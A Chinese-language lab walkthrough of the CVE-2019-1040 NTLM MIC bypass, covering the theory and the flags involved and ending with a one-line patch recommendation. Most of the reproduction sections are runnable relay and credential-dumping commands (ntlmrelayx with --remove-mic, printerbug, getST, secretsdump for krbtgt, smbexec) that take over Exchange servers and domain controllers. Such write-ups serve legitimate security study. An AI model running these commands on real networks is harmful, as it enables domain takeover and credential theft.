漏洞背景

2019年6月11日，微软发布6月份安全补丁更新。在该安全补丁更新中，对 CVE-2019-1040 漏洞进行了修复。该漏洞存在于Windwos 大部分版本中，当中间人攻击者能够成功绕过NTLM 消息完整性校验（MIC）时，Windows 存在可能可篡改的漏洞。成功利用此漏洞的攻击者可以获得降级 NTLM 安全功能的能力。要利用此漏洞，攻击者需要篡改NTLM 交换，然后修改NTLM 数据包的标志，而不会使签名无效。结合其他漏洞和机制，在某些场景下，攻击者可以在仅有一个普通账户域账户的情况下接管全域。

漏洞原理

该漏洞关键之处在于安全研究员能绕过NTLM消息完整性的校验，那么安全研究员是如何实现的呢?

由于Windwos 服务器允许无消息完整性校验的NTLM Authenticate 消息，因此该漏洞绕过消息完整性校验的思路是取消数据包中的 MIC 标志，操作如下：

• 从NTLM Authenticate消息中删除MIC字段和Version字段，如图所示：

• 将 Negotiate Version 标志位设置为Not set，如图所示：

漏洞完整利用链

绕过NTLM的消息完整性校验只是第一步，之后能做什么呢？

漏洞完整利用链需要结合NTLM Relay。完整的攻击链如下：

1）使用域内任意有效账户，通过SMB连接到目标机器，使用Print Spooler 漏洞或者PetitPotam漏洞强制触发目标机器向指定的机器进行NTLM 认证；

2）中继服务器收到目标机器的NTLM 认证流量后，通过删除相应的字段绕过NTLM 的完整性校验并修改NTLM 数据包的标志位使得其从SMB协议中继到LDAP 不需要签名；

3）使用中继的LDAP流量，通过LDAP远程连接域控，执行高权限操作，赋予指定的账户高权限；

4）使用提升了权限的账户进行“后利用”，接管全域。

1、触发目标NTLM请求

攻击者需要向目标机器发起NTLM请求才能进行NTLM Relay利用，这里可以利用使用Print Spooler 漏洞或者PetitPotam漏洞强制触发目标机器向指定的机器进行NTLM 认证；详情见内网渗透(六十二)之 NTLM Realy 攻击

2、LDAP 签名绕过

由于通过Print Spooler 漏洞和PetitPotam漏洞触发的NTLM 认证都是基于SMB协议的，因此安全研究员需要将SMB 协议的身份验证流量通过LDAP中继到域控。但是NTLM 认证的工作方式决定了无法直接将SMB协议流量中继到LDAP。默认情况下，客户端和域控或Exchange服务器进行SMB通行时，是强制要求签名的。其NTLM 身份验证流量的如下标志均为Set，如图所示:

• Negotiate Key Exchange;

• Negotiate Always Sign;

• Negotiate Sign。

此时将SMB流量中继到LDAP时，由于Negotiate Sign 和 Negotiate Always Sign 标志为Set，该标志位触发LDAP签名。而安全研究员又无法伪造签名，因此会被LDAP忽略，导致攻击失败。前面提到了CVE-2019-1040的关键就在于安全研究员能绕过NTLM的消息完整性校验，导致可以任意修改NTLM认证的的数据包。因此安全研究员在绕过消息完整性校验之后，可以修改流量的标志位已协商不开启LDAP签名校验。具体措施是将以下标志位设置为 Not Set，如图所示：

• Negotiate Key Exchange;

• Negotiate Always Sign;

• Negotiate Sign。

3、攻击目标的选择

攻击目标可以是域内的任意机器。这里以域控和Exchange服务器为列，原因在于默认情况下两者在域内具有最高权限，对其进行攻击可以直接接管全域。

（1）攻击Exchange服务器

使用任何有效域用户，利用Print Spooler 漏洞或者PetitPotam漏洞强制触发目标Exchange 服务器向安全研究员主机进行NTLM认证。安全研究员主机接收到目标Exchange 服务器的认证流量后，通过修改NTLM认证数据包绕过NTLM的消息完整性校验和LDAP签名，将其认证流量通过LDAP中继到域控。使用中继的LDAP身份验证，为安全研究员指定的账户赋予DCSync权限，然后使用指定账户利用DCSync权限转储活动目录中所有密码Hash，即可接管全域。

（2）攻击域控

使用任一有效域用户，在域内创建一个可控的机器账户。然后使用Print Spooler 漏洞或者PetitPotam漏洞强制触发目标域控向安全研究员机器进行NTLM认证。安全研究员机器接收到目标域控的认证流量后，通过修改NTLM认证数据包绕过NTLM的消息完整性检验和LDAP签名，将其认证流量到LDAP中继到另一个域控。使用中继的LDAP身份验证，为安全研究员指定的可控机器账户赋予基于资源的约束性委派权限，然后利用该机器账户申请访问目标域控的服务票据，即可接管全域。

漏洞影响版本

• Windwos 7 SP 1 至 Windows 10 1903；

• Windows Server 2008 至 Windows Server 2019

漏洞复现

下面通过攻击Exchange服务器和域控来演示漏洞复现：

1、攻击Exchange服务器

实验环境如下：

• 域控：192.168.41.10

• Exchange服务器：192.168.41.50，主机名：Exchange

• 安全研究员：192.168.41.19

• 普通域用户：hack\hack，密码为Admin123

整个利用链如图所示：

首先在安全研究员机器中执行如下的命令进行监听：

python3 ntlmrelayx.py --remove-mic --escalate-user hack -t ldap://192.168.41.10 -smb2support --no-dump -debug

参数的含义如下：

• --remove-mic：用于绕过NTLM的消息完整性校验

• --esclate-user:用于指定用户DCSync权限

• -t:将认证凭据中继到指定LDAP

• -smb2support:用于支持SMB2协议

• --no-dump: 表示获得DCSync权限后不导出域内所有用户的Hash

• -debug：用于显示日志信息

接着安全研究员使用printbug.py脚本执行如下的命令，以用户hack\hack身份连接Exchange服务器，触发Exchange服务器的Print Spooler 漏洞，该漏洞会强制触发目标Exchange 服务器向指定的安全研究员机器进行NTLM认证，如图所示：

脚本下载地址：https://github.com/dirkjanm/krbrelayx

python3 printerbug.py hack/hack:[email protected] 192.168.41.19

然后安全研究员就可以收到目标Exchange服务器发过来的NTLM认证流量了，再将此NTLM认证流量绕过NTLM的消息完整校验并修改LDAP协商数据包中的相应标志位来使得协商不需要签名。再通过LDAP中继给到域控，LDAP中执行的高权限操作是赋予用户hack DCSync权限。

如图所示，可以看到该脚本首先会遍历中继的机器账户的权限，发现目标Exchange服务器的机器账户在域内的机器账户拥有创建和修改域ACL的权限。接着该脚本会修改域的ACL来提权，因为它相比创建高权限用户更为隐蔽。通过修改用户hack的ACL，为其赋予DCSync权限。

域普通用户hack被赋予DCSync权限后，可以直接导出域内所有用户的Hash。此时使用secretsdump.py脚本执行如下的命令，即可导出账户Krbtgt的Hash。

python3 secretsdump.py hack.com/hack:[email protected] -just-dc-user krbtgt

2、攻击域控

攻击域控需要目标域内至少存在两台域控：一台用于触发Print Spooler 漏洞或PetitPotam漏洞，另一台用于继中LDAP流量执行高权限操作（同一机器的流量中继回去会失败）。

攻击域控有以下两种情况：
1）目标域支持LDAPS：可以直接利用ntlmrelaxy.py脚本中继时创建的机器账户并赋予委派的权限（远程添加用户，需要LDAPS）
2）目标域不支持LDAPS：可以首先自己创建一个机器账户，然后赋予委派权限。以下实验基于这种情况。

实验环境如下：

• 域控1：192.168.41.10，主机名为:DC

• 域控2：192.168.41.40，主机名为：DC2

• 安全研究员：192.168.41.19

• 普通域用户：hack\hack，密码为Admin123

整个利用链，如图所示：

安全研究员以普通域账户hack\hack的身份在域内主机上使用Powershell脚本执行如下的命令创建一个机器账户的machine$,密码为root。

Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount machine_account

然后在安全研究员机器192.168.41.19上执行如下的命令进行监听：

#目标域不支持LDAP，可以使用如下的命令，指定刚刚创建的机器账户machine$
python3 ntlmrelayx.py -t ldap://192.168.41.10 -smb2support --remove-mic --delegate-access --escalate-user machine\\$
#目标域支持LDAP，可以使用如下的命令，会自动创建机器账户
python3 ntlmrelayx.py -t ldaps://192.168.41.10 -smb2support --remove-mic --delegate-access 

参数的含义如下：

• -t：将认证凭据中继到指定LDAP

• -smb2support：用于支持SMB2协议

• --remove-mic：用于绕过NTLM的消息完整校验性

• --delegate-access：用于指定委派

• --escalate-user：指定需要赋予委派权限的用户

接着使用printbug.py脚本执行如下的命令，使用户hack\hack连接域控DC2，触发域控DC2的Print Spooler 漏洞，该漏洞会强制触发目标域控DC2向安全研究员机器进行NTLM认证。

python3 printerbug.py hack.com/hack:[email protected] 192.168.41.19

然后就可以收到目标域控DC2发过来的NTLM认证流量了，再将此NTLM认证流量绕过NTLM的消息完整性的校验并修改LDAP协商的数据包中的相应标志位来使得协商不需要签名。再通过LDAP中继到域控DC，LDAP中执行的最高权限的操作是赋予机器账户machine$对域控DC2的基于资源的约束性委派的权限。

如图所示，可以看到机器账户machine$已经拥有对域控DC2基于资源的约束性委派了。

此时机器账户machine$已经拥有对域控DC2基于资源的约束性委派权限了，可以执行如下的命令进行后利用，如图所示，利用完成后即可导出域内任意用户的Hash，也可以直接远程连接域控DC2。

#以Administrator身份申请访问DC2机器的CIFS票据
python3 getST.py -spn cifs/DC2.hack.com hack/machine\\$:root -dc-ip 192.168.41.10 -impersonate administrator
#导入申请的服务票据
export KRB5CCNAME=administrator.ccahe
#导出域内用户的krbtgt的Hash
python3 secretsdump.py -k -no-pass DC2.hack.com -just-dc-user krbtgt
#远程连接DC2机器
python3 smbexec.py -no-pass -k DC2.hack.com -codec gbk

漏洞预防和修复

对于防守方或蓝队来说，如何针对CVE-2019-1040 NTLM MIC 绕过漏洞进行预防和修复呢？

微软已经发布了该漏洞的补丁程序，可以直接通过Windows自动更新解决以上问题，也可以手动下载更新补丁程序进行安装。